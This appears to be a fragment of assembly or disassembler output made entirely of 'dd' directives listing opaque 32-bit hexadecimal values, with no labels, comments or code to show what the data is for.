		dd 0CCB2AE36h, 5CC001CFh, 847EA17Ch, 0EC4083D1h, 0E8FEDA7Ah
		dd 28524DC5h, 30C0F9EDh, 0E9805661h, 0D10198EBh, 0C1CDF599h
		dd 0F8C49110h, 45D20079h, 2B5C9293h, 0B871126Ch, 6BF13Bh
		dd 0DC4F816Eh, 14B2EA20h, 80457BC3h, 0E2121F00h, 0D17D090h
		dd 285ABD07h, 4C8194B1h, 0A7ECB970h, 19CE0329h,	48B72566h
		dd 7F37A4A8h, 98D140C0h, 0CFA05Fh, 0F028E2EBh, 2AB78FDFh
		dd 12002090h, 42A364F7h, 9D4F1Dh, 8EB8494Bh, 8C2213F4h
		dd 693E27F2h, 706F0AEDh, 57086095h, 6BF0605Dh, 0C9466E53h
		dd 1E006D22h, 7E39E215h, 3CCBDC8h, 0EF5ED37Fh, 40003C49h
		dd 63F72918h, 0E432B11h, 194DC96Bh, 0A32FD220h,	0B7745062h
		dd 8AECFC00h, 55215EAh,	0C1B1675Dh, 4CE00F18h, 10B2763Ch
		dd 8A5C2507h, 800CADA9h, 775F0B1h, 21A304C0h, 1B82507Bh
		dd 983D9976h, 497D800Ah, 6C3020BFh, 0D98B00F6h,	0A3EA5BF1h
		dd 0E0033DFh, 29E84A2Bh, 0D5E352h, 42536DD6h, 9C957A7Ch
		dd 84CBAF00h, 97082AE9h, 5C40C01Ah, 37E5D4B4h, 39651800h
		dd 8A27DEE3h, 9F1C0033h, 0E17B92C1h, 0A101AE13h, 6023303Eh
		dd 48CCB9A4h, 12A57324h, 8B0E4B5Fh, 1D4EC4DCh, 3AA1B130h
		dd 0B9BC4704h, 0E0D0D8FCh, 7BA927h, 9510AEE6h, 500D9E28h
		dd 9B47AD02h, 51C222CDh, 18467974h, 98267BBDh, 0BBC900B1h
		dd 66B62201h, 7E5D7875h, 6FD280F4h, 428C9DBBh, 2ADEC077h
		dd 0B88490h, 95E033DAh,	0C891A0BEh, 4B595C01h, 3E8DE722h
		dd 22C4884Bh, 3ADC301Fh, 0BF8D2844h, 0A4FC051Ch, 4752BA20h
		dd 0B0C2FD9Ch, 374608B0h, 245AFA00h, 9CD0FB91h,	0C4890064h
		dd 0CE73387Eh, 0D702A0F1h, 12849D90h, 1C8588Ch,	0F4FE0DC2h
		dd 609B1C7Fh, 10039A10h, 0B8964B0Ch, 189BE6h, 81919E68h
		dd 0E8144ED8h, 0F6B75400h, 488C5CEDh, 0DB070040h, 4D597252h
		dd 0A902C714h, 6729CDF7h, 23209694h, 9021FC68h,	861D50D0h
		dd 218F242Ch, 0B64FA900h, 0B9E306Eh, 8BA57454h,	0FBA064A0h
		dd 0B45D4E01h, 6B948018h, 42232171h, 2EB2CF0Fh,	60F8A09Bh
		dd 0ACB063h, 0EB734E56h, 0EAA4B402h, 0B651E8E5h, 0A02F2B4Eh
		dd 62005023h, 9230565Ch, 0E4650E54h, 0C013DA51h, 68E3BD00h
		dd 0CCF76602h, 707407D8h, 0B19707DCh, 0C7F0AD82h, 5404E16Ah
		dd 6CACF0BAh, 99F058B9h, 0CA008677h, 0D2B61A7Bh, 14D611h
		dd 0D0C082D1h, 6B413199h, 486CCC1Ah, 34A82868h,	7B01215Eh
		dd 9F62CF80h, 4EB5055Dh, 10883AEFh, 0ABC01DC9h,	61422A0Bh
		dd 83AF009h, 92807DEh, 28B34B34h, 0E99B0479h, 32101B3Fh
		dd 0E2612075h, 0A1003E68h, 0DF6AB72Ah, 373CFFAh, 3A8C4E02h
		dd 5807D928h, 1A438DE6h, 86339870h, 0ACD700FCh,	0F8A477Ah
		dd 0DE1E091Bh, 8FE8A20Ch, 6A57F700h, 3BB8D118h,	40650FEBh
		dd 0C6809B3Ah, 0B5792990h, 789CB000h, 0A680B4F4h, 3541D1Ch
		dd 7EED8EABh, 7FF9C4C0h, 9400E00Fh, 78C6E2FBh, 0B56F025Fh
		dd 0C400CC50h, 7BB064B7h, 3BEC9DCh, 0F5964A23h,	81049F7h
		dd 0BCBF48C6h, 0EDF81F1Dh, 810E00C4h, 1EEF7F2Bh, 961F6C00h
		dd 61C0E584h, 1457C1Bh,	0B077C120h, 9C376A10h, 22A2E829h
		dd 0C422E33Ch, 2F8622C7h, 3B3E6422h, 0A8C0CC3Fh, 0FB8078FCh
		dd 0C07E4093h, 63CF3D44h, 44CC515Eh, 14EF2921h,	657E503Ch
		dd 230513Bh, 1E08A514h,	3C04B805h, 94440955h, 1637467Eh
		dd 0CC743E29h, 817A2940h, 28417881h, 6C173301h,	1900C629h
		dd 0E344BFABh, 0EE81E9h, 0FC51B87Eh, 261C2385h,	272CC900h
		dd 42503017h, 9EF70F6Ch, 0A20E7DCEh, 6BD87020h,	0C000F1E5h
		dd 27901465h, 194BA63h,	29496728h, 0CC7FCD2Eh, 0CB00A1F8h
		dd 8871BFADh, 1E860C58h, 0C00F2FBDh, 1AFC1170h,	0AE003A3Bh
		dd 0C4FE3803h, 75C8F8D7h, 4EE9003Eh, 77B79D30h,	4872AFEFh
		dd 8C53AE00h, 0D066E56Fh, 9DC8003Ch, 0F818C27Fh, 0EC0032D5h
		dd 0DFD1A71Dh, 0F00F9A04h, 0E1480151h, 3D399389h, 0F2F4F4DDh
		dd 85577D0Fh, 6A246026h, 489EEF65h, 96002451h, 0FCCE043Fh
		dd 0B40E355Fh, 0A673BFD8h, 3F509216h, 0DF9F656Fh, 5D50DC14h
		dd 0C0815D7Ch, 82C72D53h, 0EB00361Eh, 1327FC0Eh, 4C78A1EFh
		dd 3D149847h, 0F9808C2Fh, 6A5B28F2h, 0E42C1100h, 0AEAD449Dh
		dd 3A4C00D8h, 7581B5Ah,	8011256h, 0EFC98F3Dh, 76F8DD75h
		dd 0B76503B6h, 0A2626085h, 21CD31C0h, 55408C00h, 86D8B18h
		dd 0EB1068Eh, 3682348Fh, 0D332DA00h, 6086EB99h,	24CE2E2Fh
		dd 102118E5h, 0E203789Dh, 8DD3A402h, 0DA85805Eh, 0D2220076h
		dd 71FB656Ch, 0B6000792h, 1144FAB3h, 40CEC5h, 0D3E2AD6h
		dd 66C3E26Fh, 0BF2CAC75h, 7200770Eh, 5141FCF6h,	52FF0358h
		dd 0B27EA53Ch, 0B17D8080h, 71345300h, 6D9C4266h, 9F100ECh
		dd 203975B9h, 0B8036283h, 90653E61h, 538FC1CEh,	0E9CBC0h
		dd 5A26F4D6h, 27C38B68h, 80CE9D3Ah, 35E0911h, 0FA203380h
		dd 77490715h, 401AC98Eh, 0EEABF4B1h, 64B8781Ch,	7148CAC0h
		dd 4046AEh, 8FDEAF67h, 5D98E782h, 6B7AD100h, 0BB880DAAh
		dd 7620057h, 0DF102D2Eh, 500070E5h, 9B462BCCh, 196A374h
		dd 941B3EC0h, 0B942E49Fh, 0F94880D8h, 0CC865DC1h, 0F4B300A3h
		dd 33DCEE40h, 5807E5A2h, 60B66197h, 7CA9BBA0h, 825900FCh
		dd 0CE5B8586h, 0BA7A09C2h, 9C1BB702h, 403A21F8h, 0D7EB0Fh
		dd 0BE9538Ah, 0BF7ECEC2h, 50F2D100h, 0CAC91767h, 9F1F0733h
		dd 10B78115h, 0D3664DCCh, 0C2E6AB8h, 48000835h,	0E1C9C29h
		dd 0D2DE0050h, 0F16DCD2Dh, 2A05C31Bh, 97198473h, 0ADA4E500h
		dd 134F89Fh, 14321011h,	0C4DBF9B1h, 20001678h, 0DF29F636h
		dd 1CC96087h, 0D50938h,	0E8DD3F9Dh, 6E3E319Bh, 0EE3804Ah
		dd 8E34A3B8h, 11BC09C0h, 44034798h, 3802968h, 9100CB77h
		dd 46F4C48Ch, 12F3C1CAh, 0F9ADF7h, 15D33F0Ch, 0F800C6B9h
		dd 63448CC5h, 0FEFBF287h, 0C7B6007Eh, 28433E7Dh, 5035B0Ah
		dd 6E85E28Ah, 0AC20B70Ch, 1019FF4h, 35118922h, 0D0EFB46Ch
		dd 1F0095FEh, 0CA5ECD76h, 0C37EC7h, 0B6EDF3E0h,	0C24A6D9h
		dd 0F4C91300h, 3B403018h, 0E55D00DDh, 5EE2A4Fh,	0B53A7506h
		dd 4E44802Dh, 0DD99C658h, 3CE30747h, 0B074A35Ah, 61E4BBA0h
		dd 0FF7FB528h, 0AC0055FAh, 0CE4AA256h, 642733h,	0F935E141h
		dd 38984B13h, 82CF680Eh, 0ADD2E09Ch, 3F1306Bh, 0E4916A50h
		dd 9FA8B3ABh, 0C7263A44h, 0E021816Fh, 932B2001h, 0FAF0AAFFh
		dd 464900BCh, 20145F7h,	770091C1h, 61FEF1F6h, 1B33309h
		dd 0B9A19625h, 0F4DA5366h
		dd 0B73E481h, 43A86400h, 11CAF240h, 345800D8h, 98B4BA08h
		dd 22E42ACDh, 120DC30Ch, 6D6043h, 16508A1Ah, 2C8901EFh
		dd 887F1000h, 0E7F220A6h, 9C7004Dh, 0EFEA9EBDh,	0F300E489h
		dd 0E8F0E534h, 0CDC0CCh, 339F3FFBh, 0CB92791Dh,	44B07500h
		dd 0D151619Dh, 0B9BD3C8Fh, 0D2944180h, 0B6E6CE31h, 0B223EC02h
		dd 60735166h, 1FC5920Eh, 7089D99h, 0F039197Dh, 24786590h
		dd 3C77A000h, 2F2E631h,	6C933720h, 53E570C2h, 0F700A281h
		dd 587A5536h, 7E8FAA78h, 659A0E94h, 1E32A87Ch, 0D2AFC0B0h
		dd 52784DA5h, 0A26C4900h, 4CC8C41Ch, 0D0D70BF2h, 4003191h
		dd 6B3BD598h, 291A0700h, 0E511DFB5h, 6AA40039h,	58EC9485h
		dd 64B0B723h, 0B3C4EA05h, 5C80D7CBh, 1E5C11A8h,	0C17B19E3h
		dd 5A691271h, 6080D104h, 5008487h, 194CDAEFh, 5F9E90h
		dd 0C3608D33h, 82FEA28Fh, 8697D600h, 9A033EB0h,	58E8032Dh
		dd 456CEC9Bh, 0ED2C7AA0h, 0ABEEBC07h, 8DD05A5Bh, 7F859Eh
		dd 509A4411h, 539F12DBh, 0C83DAE00h, 4169CD74h,	8CC3000Dh
		dd 970E94D9h, 34034BF2h, 28E8EEDAh, 0E471D082h,	81D90037h
		dd 17FEA0B4h, 0CD019905h, 0BCF0EA58h, 0C2F80D42h, 54B50055h
		dd 0D4DA2998h, 0B9792BE4h, 0B6CFB800h, 921ADB48h, 74C0B0E8h
		dd 995E0029h, 9CB0BDDFh, 6D022472h, 0AC08432Bh,	56A64067h
		dd 5DE0037h, 0F7D8847Ah, 0C2007B1Dh, 6EF8D00Dh,	2C41BEDh
		dd 0B1FBFD87h, 0EE40DCA9h, 54022650h, 4AB3B414h, 6B14E0F4h
		dd 0C7733C75h, 5684B50Ah, 471D00CCh, 407BF196h,	69757800h
		dd 0C89D97E1h, 53E8034Fh, 424BAF19h, 745E4600h,	0E092FA9Ch
		dd 55D638A5h, 0B0D4D914h, 1E8EC009h, 43197080h,	5E007023h
		dd 52B99062h, 0CAFF14h,	634679E7h, 0FB6EAF4Ah, 5B5C0C00h
		dd 0D76C0228h, 7CAC5850h, 0E61B6F0Eh, 431E81AEh, 0FEFF4E92h
		dd 0E27138C8h, 0CD6B1400h, 3BA93E44h, 479700D3h, 0EC168E06h
		dd 0AD0E7565h, 0C06B398Ch, 4AC083A3h, 0FDD00B43h, 58057D3h
		dd 0A814A25Ch, 0E00A3Bh, 4D8AFAE6h, 2E22257Fh, 3461BDh
		dd 0C39C0D11h, 0C0006A96h, 0A3DB5EF9h, 983B5E8h, 152AF4BBh
		dd 0FB41548Eh, 803DD5C9h, 458E9AB8h, 0B6A5D22h,	0E840BE16h
		dd 738D300h, 0F416CAD3h, 8480445Fh, 1488AB60h, 0F89F040Ah
		dd 292B6700h, 765EA821h, 9E556100h, 8DE88C97h, 129200C0h
		dd 694981DBh, 4BF69926h, 0C8F02300h, 651CF180h,	50C40037h
		dd 0E32E1808h, 4600B113h, 6A07EA56h, 3CD4EB5h, 0DC25D3A8h
		dd 42F9D12Ch, 415B718Bh, 0C1356940h, 70F4CC5Ah,	67B32A00h
		dd 4A8CEC60h, 2F27036Ch, 18F7170Ah, 31C83AA0h, 63ED0603h
		dd 0C8907802h, 0D6AFA5h, 0B7A3C105h, 0E19EE870h, 4113E680h
		dd 3E420D5h, 7842840Eh,	0A6AC40FEh, 0E6498Dh, 7FF29B8Eh
		dd 2E2977B8h, 6F59B403h, 0F0A0316Ch, 31F66ACEh,	4D6A45C6h
		dd 0CC9ED83Fh, 11729201h, 5561D16h, 1F0F29D8h, 80E58419h
		dd 0C15E101Ch, 9600EC0Dh, 0B005DACFh, 1FEA8E6h,	9470DB3Ah
		dd 0F14DF522h, 3FE44024h, 1E00B6BAh, 0ED86E75Fh, 982F6C97h
		dd 0E37570h, 77F311B7h,	0AEE00659h, 7C2CFC5Ch, 2109C100h
		dd 0D8416879h, 51F600A3h, 0EB061E70h, 6000881Fh, 2F9C7572h
		dd 17336AF9h, 0BC6901h,	681C7498h, 0E40050CAh, 3DF844F1h
		dd 3D6649DFh, 6E81D8ECh, 64F68583h, 7017D1EFh, 110096E0h
		dd 606F7982h, 8C3F8Dh, 0D964F832h, 7BDC750Fh, 0F402687Fh
		dd 89AF6673h, 0CB908057h, 0F6A443E9h, 36531FFCh, 63C744B9h
		dd 7F9EC03Ch, 810040A2h, 0D548E9CDh, 7E8F1FAh, 1B356C8Ah
		dd 8C3ED01Dh, 0B1000633h, 11D39A8Eh, 8F1653h, 0DF1AE03h
		dd 4C85C2BAh, 3C835807h, 1EAB88h, 0A88206CCh, 90AA001Dh
		dd 0E681F942h, 5FE83302h, 59FC6D00h, 9671BDC5h,	58ABF2FBh
		dd 7B269Ah, 10F2D0F9h, 257C8C20h, 193EFA0Fh, 5EB0C351h
		dd 56ABB81Bh, 9CA400BCh, 6255C5F1h, 0F000BFBBh,	0BD77CBCDh
		dd 1998653h, 61951373h,	31393214h, 40C0CE79h, 5C28ED48h
		dd 0D7009FB1h, 0C2CFCC4Bh, 26FC7D5Fh, 0D74657h,	8AA5607Ch
		dd 10037795h, 0C5ACCDFBh, 34D48D9Fh, 9C1BEC02h,	8C46C0BDh
		dd 0B0B40009h, 4EB2C653h, 231E90E3h, 5F8070ABh,	0D0A79E7Ah
		dd 16BB0029h, 3AE341EDh, 53007438h, 980C6B28h, 0C6C286h
		dd 0AC1043C7h, 0A81678CDh, 30286459h, 4247102Eh, 0C08005B5h
		dd 801A4CCCh, 32433FDBh, 0E548FB00h, 0CEC6732Ah, 50F00567h
		dd 809A7CCBh, 0A529E6DFh, 4CAF3D01h, 18EC9626h,	0EFE351C4h
		dd 7B3A930h, 1C2F597h, 0C01F5E91h, 0E35F984Dh, 0EE075C5Bh
		dd 5731BB2Dh, 6C680009h, 9BDE422h, 6B3F86C5h, 1DBF4B8Eh
		dd 806A5F09h, 63C49F0Eh, 3C00F4E7h, 9358D15Eh, 0B13DCAh
		dd 0E4BCFF53h, 7FAD07A5h, 3A75C501h, 337BD9A4h,	3CC411C5h
		dd 0D2C30091h, 79789A59h, 0EC0DE85Fh, 0A8800EEBh, 9133C8h
		dd 0B58910CAh, 0B381AF9Dh, 1DA02D00h, 6CEF0F40h, 8A180ACEh
		dd 80E4CC31h, 5F71D2E9h, 0CA1F5502h, 3EC03613h,	0F212E5Eh
		dd 0BA7D0EDFh, 0F7208C94h, 0E0223025h, 0EA89C601h, 0DA4D15F3h
		dd 95824h, 3320ACD3h, 314451B3h, 0AF49DC1Ch, 9B00F99Dh
		dd 4DB2B6D2h, 0F09C078Eh, 60695B84h, 7ED94AE5h,	0B7CBA900h
		dd 0D0D20F83h, 0EC2609DBh, 74A5F801h, 0C630B07Bh, 5D3DB609h
		dd 64800413h, 0BA9C7CC0h, 5F760D30h, 301863DBh,	0D901B488h
		dd 49A28361h, 0A0605729h, 441B48BCh, 31632Eh, 0A2EFF2F6h
		dd 153C23D9h, 681600FBh, 0BBFD9C90h, 631C03D2h,	1733CB56h
		dd 0E949CFF0h, 9D7C9090h, 0A11D6800h, 425BE22Ch, 8C3200A4h
		dd 49F208Fh, 0BE01CDBCh, 0A184B863h, 0C9E82DC0h, 0FAC3B74h
		dd 0D7923881h, 471AF87Dh, 163B079Ah, 76009881h,	0C3EFE34h
		dd 90075ABDh, 0F0EC7A6Ch, 300148B1h, 0D0B60079h, 3BC5117Bh
		dd 6200081Bh, 73824918h, 0AD6B5Fh, 802E77A0h, 0BB1FDF69h
		dd 54004C92h, 0B49232DAh, 9D905Ah, 0B3C1944h, 2AEE2767h
		dd 1E957900h, 307DD53Ah, 0A49E18A0h, 0D7B8E08Dh, 8FDB1A2Dh
		dd 423162ECh, 12784E30h, 0BDC61A9h, 5F00AF74h, 58B030B9h
		dd 3E783477h, 0AC92D500h, 0E9D9D00Eh, 539913EDh, 36A4D0A3h
		dd 0EC0132CAh, 2FF4E50Fh, 1080D3C8h, 3E3AC3CDh,	59013180h
		dd 466D507Ah, 45C0A0DCh, 9B4D00E0h, 0A213EAE8h,	220095A9h
		dd 0DEB5DA77h, 140AF778h, 0C83BF8CBh, 0E82C2E05h, 2594826Bh
		dd 2077A761h, 4370D914h, 1F22D505h, 0B80B3005h,	140C850Fh
		dd 753F1481h, 0E60C6D1h, 0BBBC0059h, 0F99B80A4h, 770A61FEh
		dd 0F2D10F2Dh, 0EECA2101h, 0F824A467h, 2F7005Dh, 0B318C74Bh
		dd 1C386AB6h, 0A1D380E3h, 38274DD4h, 0A4D8015Bh, 0C7903B05h
		dd 6C9DEC28h, 739FFC00h, 0D3641A7Eh, 0B064B08Eh, 242E0C3Ah
		dd 8BB86295h, 68595000h, 1912F8ABh, 0E26D0094h,	7E107B9Ch
		dd 481F86BAh, 1C055F4h,	1877256Fh, 90F003F7h, 0FD46ADC5h
		dd 0F4817EC2h, 43686429h, 1491998Ch, 9B9CE895h,	8DD2C000h
		dd 0EDB69D6h, 0B8EFF877h, 524D0150h, 1F4C4E4Fh,	0CB3870E4h
		dd 54A6D807h, 116080F7h, 73D75Fh, 0F1080F22h, 671C3355h
		dd 51777200h, 0F3E7868Ch, 0FFD700EEh, 742B96Bh,	513541Eh
		dd 0E8011067h, 810D591Dh, 18A048FCh, 10454F8Ah,	0D40C74F6h
		dd 9A5CC79Eh, 0DD75002Eh, 0C4546EE6h, 4D054A13h, 893F0763h
		dd 0E3AC40D0h, 97950058h
		dd 368B71CAh, 0D63E90C9h, 0EBEE00E5h, 2B1707B0h, 432E007Eh
		dd 47C7DCDAh, 72005C5Eh, 0C8AB9CE0h, 392C65h, 0C3E89A35h
		dd 0FF7A5337h, 688D1E07h, 3D71BE09h, 49F481EAh,	79A101E3h
		dd 0E2F7E19Ah, 0D4DEF191h, 10C98C1Dh, 643500E5h, 0C727F6h
		dd 228F08A9h, 3D720A94h, 0E2471400h, 0BCA81083h, 0A2D10009h
		dd 9A5BD2F5h, 4D018728h, 3404959Fh, 0CF4C08Bh, 0E0431D2Dh
		dd 8CEC4044h, 0EEC8DF3Ch, 676E5912h, 6A1F00FBh,	6BB7CC80h
		dd 82B1DD3Eh, 38F96F0Ch, 0D9FCE13Ch, 630F084h, 0D1674065h
		dd 30BFC44Fh, 90183175h, 73008844h, 500E8796h, 30EA6319h
		dd 0AE5883C0h, 5B3E6913h, 5E200048h, 51EF4F4Ch,	555C0007h
		dd 0E026D60Eh, 10072106h, 23B57D46h, 0C83D00EFh, 0D70D52h
		dd 11058F0Ah, 0C6B9E60Fh, 0C9646103h, 8886EC1Ah, 1D9E6EF2h
		dd 89296DA2h, 0EB8345E9h, 0E3900797h, 6E005659h, 0D241091Eh
		dd 1E27981h, 0A7589B38h, 0C8888C33h, 276E32Ch, 0D2037379h
		dd 67D17EBAh, 2DF6A092h, 0EEFE003Bh, 0DD9C8684h, 2F98B4B7h
		dd 0BB44A207h, 0F8D07501h, 0ECBCD056h, 0D6EC1DFAh, 0F4A2C636h
		dd 6500344Fh, 7DCA35EBh, 0E6968h, 0D413C2DFh, 9602791Dh
		dd 3D67D800h, 0A1CFC3E6h, 29310012h, 88430B62h,	0DE0091A2h
		dd 2747E907h, 7A40754Ch, 6FE6037Ch, 0ABFD6B1Fh,	0F56829A0h
		dd 0BF4E2201h, 0AEA8CDF8h, 6103E0CAh, 0C9C83946h, 306361Dh
		dd 934D7819h, 801FC83Fh, 92650240h, 1215D991h, 28CE7Bh
		dd 0BE38A074h, 0E8C38474h, 90D486C4h, 18AAB9AFh, 601D0212h
		dd 0AC719E3Bh, 7F00BAF8h, 4A4F7CFDh, 3284C8Ch, 0E8FF6956h
		dd 0FEA83961h, 0ED007758h, 0C218EFA8h, 77B72E4h, 0B5A534F8h
		dd 10420008h, 0F0E97C4Ch, 0B124682Eh, 7A016C9Ah, 0CE2549C8h
		dd 0CDE40CCh, 0B6D753C0h, 293EFE0Ah, 0BDC8813Ch, 0CA80C28Fh
		dd 24A860h, 0DC6635C7h,	0FF41AE91h, 54D8400h, 87CFDF50h
		dd 0EA10C0DBh, 0A7FB250Ah, 8DE23A09h, 0C480010h, 7308FF2Fh
		dd 1F9F00B6h, 68791242h, 0CF7C6A3Eh, 22631800h,	34F28CE3h
		dd 7B0400CBh, 7C0E6F35h, 61009095h, 44966538h, 0FFB9BC7h
		dd 6D0C73E5h, 7FE6AF40h, 2500260Eh, 0A68C0FBDh,	204CE1h
		dd 2EE34493h, 6A0D9EDEh, 0F3401500h, 737FEA6Fh,	0CB130C3Ah
		dd 8C106C4Ah, 3D001F90h, 0D7CD8E74h, 0F48A529Fh, 7BF401AEh
		dd 0AAA67E9Dh, 3986809Eh, 8AFA149h, 7CDD2E19h, 27C100D5h
		dd 0BC6D86FFh, 0D6AB8404h, 24C06232h, 1A37260h,	31B19666h
		dd 0D82380DBh, 75000F55h, 92BC61CBh, 22CF1A9h, 0F9D3A26Bh
		dd 0FF4056A8h, 0F7ECE778h, 0D0617600h, 0C987E10Fh, 0E3AB0F7Ch
		dd 0F575C4Ah, 2540AF72h, 90A1556Eh, 27668B0Fh, 981660A6h
		dd 2C440E7Eh, 0C7B2BDh,	20071054h, 220069D5h, 0FDB4AFAAh
		dd 0A1F39Ah, 9D93AC0Ah,	0F86149Bh, 56505E78h, 0E10036B4h
		dd 482DC465h, 1D5C019Eh, 3B086341h, 0E88E5F00h,	360E2305h
		dd 485AC53Dh, 0FA521877h, 98A4E4B0h, 20F61230h,	99C10096h
		dd 0CC0BFC71h, 7277089Ah, 3442FA00h, 0FB0D0998h, 9DC50076h
		dd 58A00A0Ch, 0C20050F9h, 0E9832A52h, 0F76FEAh,	85792EC1h
		dd 0F3F2E32Dh, 0CC31C301h, 12BB8BA4h, 0E461FAECh, 256000FDh
		dd 0EB1C17E0h, 0F8000B1Dh, 0B1A6AA06h, 805630h,	1B7A18A8h
		dd 0D9275062h, 12BCA91Eh, 24B5FB46h, 2EEF0AB8h,	0FA82051h
		dd 0E40BF62h, 70890969h, 2464BB00h, 4753E332h, 0F2E724E6h
		dd 15B0078h, 0F1428198h, 8A0031F0h, 0B5A7D145h,	0C976C0h
		dd 0ED2DD214h, 0CABA5F6Fh, 0C400F67Eh, 477F207Ah, 4C739BF5h
		dd 6114045Bh, 0A0806C32h, 0E5245DB7h, 21370700h, 113A3BB0h
		dd 935200ACh, 0CA624B40h, 0F03DE6CDh, 4F618E69h, 4DB2C0C5h
		dd 0F0129531h, 796F04A1h, 809DC627h, 0F787749Ch, 47925300h
		dd 0A0FCE2F0h, 4DB601A5h, 1875F9B8h, 4D880AFh, 324EC031h
		dd 848007Ah, 3E24E51Ch,	0B0B0C80Fh, 0FCA392A1h,	0A4B0E01Ah
		dd 9970C22h, 0ED4B7719h, 3554015Dh, 0AEE857CCh,	0E2F30039h
		dd 17600FF4h, 0D3014D4Bh, 35FA3F38h, 0D5701FC2h, 78893FB1h
		dd 115A2A80h, 77F6E2EDh, 3E487000h, 26B0A671h, 2B280330h
		dd 0F4D58D64h, 68940688h, 1C11A31Fh, 1017A0A9h,	0F53E1000h
		dd 0ECD9F1h, 0F24E6CE4h, 0CBFE3FBFh, 38731E00h,	29200485h
		dd 8DFB02C5h, 0D77D5095h, 73629483h, 0E5C054A8h, 667E6301h
		dd 0BED88AE8h, 29954082h, 0C1C624h, 76F1C47Bh, 376C8200h
		dd 7FF43EE0h, 19FB00CCh, 33C0E831h, 3A0009AEh, 2A98FDE1h
		dd 579412h, 9562738Ah, 0B7DF606Eh, 9BF06500h, 9FEBA517h
		dd 0C7AC000Dh, 0E7733CE0h, 0B60FE28Bh, 0C0E36E14h, 0B99752CAh
		dd 0A9952410h, 0E50E005Ch, 0D77A9829h, 430055FCh, 0E626C7EDh
		dd 0F262F3A8h, 0B71728F2h, 1F3F00D2h, 0F65174D6h, 590028BEh
		dd 0DB8AE503h, 0FB532981h, 58A714E8h, 3A04E858h, 30073424h
		dd 587B5CB3h, 6EA1D876h, 0B5002008h, 5D39360Ah,	0C200A487h
		dd 0CB245855h, 4CBE0030h, 0F9EA1A13h, 9C005A07h, 0B922006h
		dd 0F2A92880h, 9430077h, 560E8F6h, 13034F87h, 88250F5Eh
		dd 69CAC0F2h, 0FE180040h, 0B8C800Dh, 9604D7C0h,	0C2884D16h
		dd 82F50490h, 7B592889h, 1B5B05ACh, 0BFD9Dh, 8B6ECCCh
		dd 0AE02FA0Ah, 0D4C97C9h, 0BCE48089h, 1C81EEBDh, 800E7751h
		dd 8AA31641h, 27032E4Bh, 0D05F22FDh, 6CAA00B7h,	1796030Eh
		dd 0CE1D3FB8h, 6D8097E7h, 0B5FF7324h, 40916C5h,	0CD68009Dh
		dd 5E51EE4h, 0DB5B5700h, 8194D936h, 476400D5h, 0A8FF56C6h
		dd 76001851h, 5FEEF09Dh, 0CE6ADFh, 8A465770h, 10868321h
		dd 2E0D3Ah, 0EAA4AC6Ch,	3F45F849h, 0C507E49Bh, 0A005BEB7h
		dd 0B6AC9F0Eh, 48FAAF3Dh, 0D89E006Fh, 727E4C38h, 7E287BCCh
		dd 5D140C09h, 9E609119h, 0C877D47Dh, 28F738h, 593B8BCBh
		dd 0DB561Ah, 0CFC9783Fh, 0BBD9B618h, 7772717h, 0E8F2B006h
		dd 0CDF90040h, 33AD3439h, 0FE8B970h, 7DF05000h,	0A858E899h
		dd 3071EDh, 324B9C9Bh, 0C22DCCC7h, 83161E3Ah, 1FBEA253h
		dd 26180A46h, 0C238869Dh, 88040BF3h, 377F075Ch,	22B380DAh
		dd 0B5006C6Eh, 862EB3Dh, 0EA9B3391h, 0CFC73B36h, 0EF235400h
		dd 3CCE554Bh, 0FCBE300h, 9E32DCD6h, 0CCD10048h,	8AB791BEh
		dd 0B4A8C65Bh, 4460C102h, 0F71CA690h, 0B5DB3D7Bh, 80D2A703h
		dd 93B8BF82h, 0E0004CA4h, 0D905E12h, 0F665B844h, 0CE0900D9h
		dd 1C27E888h, 48FE12C4h, 0ACE62E03h, 1258772Dh,	0FFBA58h
		dd 0C0EF784Eh, 358DBC6h, 0BE9D00ACh, 7A819010h,	0B9B20075h
		dd 9B14B158h, 3460AB0Ah, 0ADDB4620h, 224E01C6h,	0B6AF5540h
		dd 0E380C6A5h, 5BA69A8Bh, 27FCC250h, 0E205F000h, 18461D98h
		dd 0A29C00ABh, 8DEE4E41h, 290169C5h, 8E0F8744h,	0D530C1AAh
		dd 6D8CA078h, 7607005Bh, 6A7CF12Ah, 0EF00929Ah,	6F55F396h
		dd 0FA5D6h, 372BE5FEh, 0E925339Fh, 0ECE48300h, 51930ECDh
		dd 8A900024h, 65E23D3Ch, 4A00D03Fh, 0B544C6CFh,	0FD41B8h
		dd 1B98529Dh, 748318E9h, 809F9A3Eh, 0ECE744F3h,	0BC753Ah
		dd 2ED90FB9h, 0C8A60D4Bh, 0FE011BEAh, 0FDD5E16Ah, 0CCDC2607h
		dd 0E62A00A8h, 0A1D399B8h, 0CBEAC972h, 26A9BF0Eh, 0C03E4F1Fh
		dd 686CF80h, 0E8830028h, 0DE4ED6E3h, 44006533h,	532767FEh
		dd 989EB0h, 70FC2413h, 0E0A0CCCBh, 29264800h, 833499F5h
		dd 4457002Bh, 0D37BFDCFh
		dd 7700CD27h, 0F6AB1D52h, 2EAD3Bh, 0B6A4C654h, 0C105535Dh
		dd 0D8515E00h, 0D4079D4h, 66E60246h, 9AD2B8A0h,	523280DFh
		dd 0C8B47Bh, 0DC748FCh,	2688E493h, 87203901h, 50B9AC4h
		dd 2B84E941h, 7B10ECh, 41551477h, 578173EFh, 0EC6A9200h
		dd 0B23A1999h, 719E0065h, 3602A469h, 0C4073D7Eh, 3FDD726Eh
		dd 818CB620h, 0E3D70786h, 37C6A2B5h, 5F54004Dh,	1D07B4C9h
		dd 2B49AA2Dh, 1B96004Bh, 0CC38FAh, 9DE547A7h, 3D21C248h
		dd 78DF2701h, 41356949h, 0F831CCh, 0E3898F43h, 0E4AD3DA6h
		dd 26604500h, 4FFB021Dh, 400464DAh, 0F762C0F9h,	7B05B5D0h
		dd 829A5EA6h, 5AA010C0h, 8A9E00CFh, 3FF14BD4h, 0DF00D063h
		dd 33C90AB9h, 68C19Fh, 0A5803A35h, 34F1FF3h, 5FEF2D00h
		dd 10DDCC0h, 0B05D706Dh, 67280015h, 0E5BFA7Eh, 4D031474h
		dd 44A28773h, 111AD075h, 9E2D269Dh, 215E132Ch, 0E47A9300h
		dd 0C4016EF0h, 227D48B9h, 0C7D06D82h, 0D92B006Ch, 1CFD1A34h
		dd 0CD008A73h, 353703D2h, 0E0BE9817h, 0B51900B2h, 78A333C8h
		dd 2EEA1238h, 0D0911F00h, 8342F75Eh, 131EE23h, 0E89FCB03h
		dd 0BCFC7FF0h, 5CA40088h, 50DE30CEh, 97EF009Bh,	0DD6C5BCFh
		dd 760C4073h, 785ED744h, 82150378h, 9DA68EC2h, 1013B0E8h
